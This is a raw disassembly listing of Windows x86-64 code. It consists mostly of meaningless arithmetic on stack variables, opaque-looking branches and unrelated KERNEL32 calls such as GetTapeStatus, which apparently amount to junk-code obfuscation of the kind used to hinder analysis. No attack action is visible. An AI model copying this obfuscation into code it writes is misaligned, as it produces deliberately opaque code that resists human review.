mov dword [rsp + 0x1b60], 0xf3f196bf
mov eax, 0xca5
mov word [rsp + 0x788], ax
movabs rax, 0xe602bcd7ee31e49
mov qword [rsp + 0x34a0], rax
mov dword [rsp + 0x1b64], 0xee57f8d3
mov eax, 0xb53
mov word [rsp + 0x78c], ax
mov dword [rsp + 0x1b68], 0x1aa8defd
mov byte [rsp + 0xd7], 0x64
mov dword [rsp + 0x1b6c], 0x669bf4ae
mov byte [rsp + 0xd8], 1
mov eax, 0x2602
mov word [rsp + 0x790], ax
mov byte [rsp + 0xd9], 0xc1
mov eax, 0xab4
mov word [rsp + 0x794], ax
mov byte [rsp + 0xda], 0x3c
mov eax, 0x4f8
mov word [rsp + 0x798], ax
mov dword [rsp + 0x1b70], 0x2ef390f0
mov eax, 0x985
mov word [rsp + 0x79c], ax
movabs rax, 0xf09fbcf242510b99
mov qword [rsp + 0x34a8], rax
mov byte [rsp + 0xdb], 0x9c
movabs rax, 0x3aedbc8047c025bf
mov qword [rsp + 0x34b0], rax
mov eax, 0xaf7
mov word [rsp + 0x7a0], ax
mov dword [rsp + 0x1b74], 0x2d182e32
mov eax, 0xcf0
mov word [rsp + 0x7a4], ax
mov byte [rsp + 0xdc], 0xe4
mov dword [rsp + 0x1b78], 0x1cfa8409
mov dword [rsp + 0x1b7c], 0x25a746b8
movabs rax, 0x8e3fbdfd9546704e
mov qword [rsp + 0x34b8], rax
mov byte [rsp + 0xdd], 0x83
mov byte [rsp + 0xde], 0x3d
mov eax, 0x29f
mov word [rsp + 0x7a8], ax
mov dword [rsp + 0x1b80], 0xac3c6429
mov byte [rsp + 0xdf], 0x31
mov eax, 0xa46
mov word [rsp + 0x7ac], ax
mov eax, 0xa2a
mov word [rsp + 0x7b0], ax
movabs rax, 0x6a6c04212331b22d
mov rcx, qword [0x14017c008]
add rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov eax, 0x735
mov word [rsp + 0x7b4], ax
lea rax, [rsp + 0x7b4]
mov qword [rsp + 0x34c0], rax
mov dword [rsp + 0x1b84], 0xa89
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov dword [rsp + 0x1b88], eax
cmp dword [rsp + 0x1b88], 0x735
je 0x14005437e
jmp 0x140054402
movabs rax, 0x2275f376468b8c29
mov rcx, qword [rsp + 0x3178]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3178], rax
mov dword [rsp + 0x1b8c], 0xed54
mov dword [rsp + 0x1b90], 0xd139
mov dword [rsp + 0x1b94], 0xda00
mov dword [rsp + 0x1b98], 0x3f4c5b4f
mov dword [rsp + 0x1b9c], 0x3f5e
lea rax, [rsp + 0x3178]
mov qword [rsp + 0x34c8], rax
mov dword [rsp + 0x1ba0], 0x3f34
lea rax, [rsp + 0x1b98]
mov qword [rsp + 0x34d0], rax
jmp 0x14005441b
mov rax, qword [rsp + 0x34c0]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x7b4]
call fcn.14012fec0
nop
mov byte [rsp + 0xe0], 0x5c
mov dword [rsp + 0x1ba4], 0x9e6c
mov dword [rsp + 0x1ba8], 0x40a39a2e
mov eax, dword [rsp + 0x1ba8]
mov dword [rsp + 0x1bac], eax
mov dword [rsp + 0x1bb0], 0xd373
mov dword [rsp + 0x1bb4], 0x2396
cmp dword [rsp + 0x1b94], 0xde62
je 0x140054771
mov eax, dword [rsp + 0x1bac]
and eax, 0x7f58ca70
mov dword [rsp + 0x1ba8], eax
mov eax, dword [rsp + 0x1b98]
mov rcx, qword [rsp + 0x34d0]
mov qword [rsp + 0x34d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x34d8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x7b4]
sar eax, 5
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
xor eax, 0x45fadcb2
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b98]
and eax, 0xd308c275
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
movabs rax, 0x1f0ce4c6d06bca78
mov rcx, qword [rsp + 0x3178]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1b98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
movabs rax, 0x1bbb2fdc65e10708
mov rcx, qword [0x14017c008]
sub rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov eax, dword [rsp + 0x1b94]
add eax, 0x11
mov dword [rsp + 0x1b94], eax
movzx eax, byte [rsp + 0xe0]
add eax, 0x9b
mov byte [rsp + 0xe0], al
mov eax, dword [rsp + 0x1ba8]
xor eax, 0x2348a3cf
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x3178]
sar rax, 0x39
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b98]
or eax, 0xcd4c4ab0
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3178]
shl rax, 7
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
and eax, 0xa1605d1e
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
sub eax, 0xa54
mov word [rsp + 0x7b4], ax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
add eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
movabs rax, 0x87d6444a6e814378
mov rcx, qword [0x14017c008]
sub rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34c8]
movabs rcx, 0x7f40a227ea26d0ae
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3178], rax
mov eax, dword [rsp + 0x1bac]
add eax, 0x3e7376b
mov dword [rsp + 0x1ba8], eax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
sub eax, 0x82ce2cfc
mov dword [rsp + 0x1b98], eax
movzx eax, byte [rsp + 0xe0]
sub eax, 4
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x34c8]
movabs rcx, 0x6a5f6d3a57aa3ccb
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3178], rax
mov rax, qword [rsp + 0x3178]
mov rcx, qword [rsp + 0x34c8]
mov qword [rsp + 0x34e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x34e0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
jmp 0x14005445d
lea rax, [rsp + 0x7b4]
mov qword [rsp + 0x34e8], rax
movabs rax, 0xdc4a1df3a05490e5
cmp qword [0x14017c008], rax
jbe 0x140054802
mov rcx, qword [rsp + 0x34f0]
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
movabs rcx, 0x349cfb7b7df50cd6
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3178], rax
mov r8b, 0x82
movzx edx, byte [rsp + 0xe0]
mov rax, qword [rsp + 0x34e8]
movzx ecx, word [rax]
call fcn.14012f840
nop
mov dword [rsp + 0x1bbc], 0x93f
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
shl eax, cl
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
movabs rax, 0x778de9488c56be02
mov rcx, qword [rsp + 0x3178]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
movabs rax, 0x61fe808e646b07bc
mov rcx, qword [rsp + 0x3178]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b4], ax
movzx eax, byte [rsp + 0xe0]
add eax, 0x13
mov byte [rsp + 0xe0], al
movabs rax, 0x43d4daa91de91887
mov rcx, qword [rsp + 0x3178]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b98]
mov ecx, dword [rsp + 0x1bb8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe0]
add eax, 0xa
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x34c8]
movabs rcx, 0x3c1c0388799863d2
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3178], rax
mov eax, dword [rsp + 0x1b84]
add eax, 0x30
mov dword [rsp + 0x1b84], eax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe0]
or eax, 0xea
mov byte [rsp + 0xe0], al
mov eax, dword [rsp + 0x1b98]
movzx ecx, al
mov eax, dword [rsp + 0x1bb8]
shl eax, cl
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3178]
sar rax, 7
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe0]
and eax, 0xb3
mov byte [rsp + 0xe0], al
cmp dword [rsp + 0x1b84], 0x12c9
jne 0x14005480d
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov qword [rsp + 0x34f8], rax
cmp qword [rsp + 0x34f8], 0
je 0x140054a19
jmp 0x14012edf0
mov rax, qword [rsp + 0x3178]
mov qword [rsp + 0x3500], rax
cmp qword [rsp + 0x3500], 0
je 0x140054a4d
movabs rax, 0x4d29533d021ccc2a
cmp qword [rsp + 0x3500], rax
je 0x140054ab9
jmp 0x140054b38
mov byte [rsp + 0xe1], 0x1c
mov dword [rsp + 0x1bc0], 0x6c96
mov eax, dword [rsp + 0x1bc4]
mov dword [rsp + 0x1bb8], eax
mov dword [rsp + 0x1bc8], 0x56f3
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov qword [rsp + 0x3508], rax
lea rax, [rsp + 0x1ba8]
mov qword [rsp + 0x3510], rax
mov dword [rsp + 0x1bcc], 0x1676
lea rax, [rsp + 0xe1]
mov qword [rsp + 0x3518], rax
jmp 0x140054b38
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov dword [rsp + 0x1bd0], eax
cmp dword [rsp + 0x1bd0], 0xead8e20a
je 0x140054ad9
jmp 0x140054b12
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x7b4], ax
lea rdx, [rsp + 0x3510]
mov cl, 0x8b
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
mov dword [rsp + 0x1bd4], eax
jmp 0x140054b38
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
call fcn.14012f7e0
nop
mov dword [rsp + 0x1bd8], 0x109f0
mov dword [rsp + 0x1bdc], 0x827d
mov eax, dword [rsp + 0x1bb8]
movzx ecx, al
mov eax, dword [rsp + 0x1bc4]
shr eax, cl
mov rcx, qword [rsp + 0x34d0]
mov edx, dword [rsp + 0x1b98]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x140054c03
movabs rax, 0x3c45be2f45c81855
mov rcx, qword [0x14017c008]
and rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1bac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov edx, 0xc6
lea rcx, [rsp + 0x148c0]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
mov qword [rsp + 0x3520], rax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
add eax, 0x74
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov qword [rsp + 0x3528], rax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
add eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b4], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
and eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3528], rax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ba8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bac], eax
mov eax, dword [rsp + 0x1bb4]
add eax, 0xb6
mov dword [rsp + 0x1bb4], eax
mov eax, dword [rsp + 0x1bc4]
mov rcx, qword [rsp + 0x34d0]
mov qword [rsp + 0x3530], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3530]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
sar eax, 3
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ba8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bac], eax
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe1]
and eax, 0x4f
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b4], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
movabs rax, 0xbdfad760746165f4
mov rcx, qword [0x14017c008]
add rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3528]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3508], rax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x3528]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1ba8]
mov rcx, qword [rsp + 0x3510]
mov qword [rsp + 0x3538], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3538]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
or eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0xe1], al
movabs rax, 0x4f1d5d0bccfaa9d5
mov rcx, qword [0x14017c008]
xor rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1bac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3528]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe0]
and eax, 0xb
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe1]
sub eax, 0x21
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
sub eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe1]
add eax, 0x3c
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bb8]
mov rcx, qword [rsp + 0x34d0]
mov qword [rsp + 0x3540], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3540]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1ba8]
sar eax, cl
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x3528]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7b4], ax
movsx eax, byte [rsp + 0xe1]
add eax, 0x79
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
cmp dword [rsp + 0x1bb4], 0x333a
jne 0x140054c16
movzx eax, byte [rsp + 0xe0]
mov byte [rsp + 0xe2], al
cmp dword [rsp + 0x1b8c], 0x13420
ja 0x1400555ba
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b4], ax
movsx eax, byte [rsp + 0xe1]
add eax, 0x53
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1bac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3508], rax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1b98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xe1]
sub eax, 0x49
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe0]
sub eax, 0x37
mov byte [rsp + 0xe2], al
movzx eax, byte [rsp + 0xe0]
add eax, 0x25
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1ba8]
mov rcx, qword [rsp + 0x3510]
mov qword [rsp + 0x3548], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3548]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xe1]
or eax, 0x1e
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bac]
mov rcx, qword [rsp + 0x3510]
mov qword [rsp + 0x3550], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3550]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ba8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bac], eax
mov eax, dword [rsp + 0x1bb8]
mov ecx, dword [rsp + 0x1bc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3178]
mov rcx, qword [rsp + 0x3508]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
add eax, 0x37
mov byte [rsp + 0xe1], al
movsx eax, byte [rsp + 0xe1]
sub eax, 0xb
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
and eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1b8c]
add eax, 0xc5
mov dword [rsp + 0x1b8c], eax
movabs rax, 0xf05d3356f2336783
mov rcx, qword [0x14017c008]
add rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3508], rax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1ba8]
movzx ecx, al
mov eax, dword [rsp + 0x1bac]
sar eax, cl
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
xor eax, 0x65
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
or eax, 0x1b
mov byte [rsp + 0xe1], al
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1b98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7b4], ax
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1b98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3528]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bb8], eax
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1bac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
and eax, 0x7e
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3518]
movzx ecx, byte [rsp + 0xe1]
mov byte [rax], cl
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x7b4], ax
movsx eax, byte [rsp + 0xe1]
xor eax, 0x40
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bac]
mov rcx, qword [rsp + 0x3510]
mov qword [rsp + 0x3558], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3558]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1bac]
mov ecx, dword [rsp + 0x1ba8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b4], ax
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x3178]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b98]
mov ecx, dword [rsp + 0x1bc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
jmp 0x1400550dc
lea rax, [rsp + 0x7b4]
mov qword [rsp + 0x3560], rax
movabs rax, 0x63e6aa398605d83b
cmp qword [0x14017c008], rax
jb 0x140055769
mov rax, qword [0x14017c008]
mov qword [rsp + 0x3568], rax
movabs rax, 0xab2554b9f12c4262
cmp qword [rsp + 0x3568], rax
je 0x140055621
movabs rax, 0xc0a2032d00c0382e
cmp qword [rsp + 0x3568], rax
je 0x14005574d
jmp 0x140055769
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
sub eax, 0x23
movsx ecx, byte [rsp + 0xe1]
cmp eax, ecx
jl 0x140055664
mov word [rsp + 0x20], 0x95
movzx r9d, byte [rsp + 0xe2]
mov r8w, 0x6c
mov rax, qword [rsp + 0x34d0]
mov edx, dword [rax]
mov cx, 0x35
call fcn.1401308e0
nop
movzx eax, word [rsp + 0x7b4]
mov dword [rsp + 0x1be0], eax
cmp dword [rsp + 0x1be0], 0x4e9
je 0x140055685
jmp 0x14005574b
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov qword [rsp + 0x3570], rax
movabs rax, 0x3e6c408d9cc68f87
cmp qword [rsp + 0x3570], rax
je 0x1400556ae
jmp 0x140055714
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
sub eax, ecx
mov rcx, qword [rsp + 0x34e8]
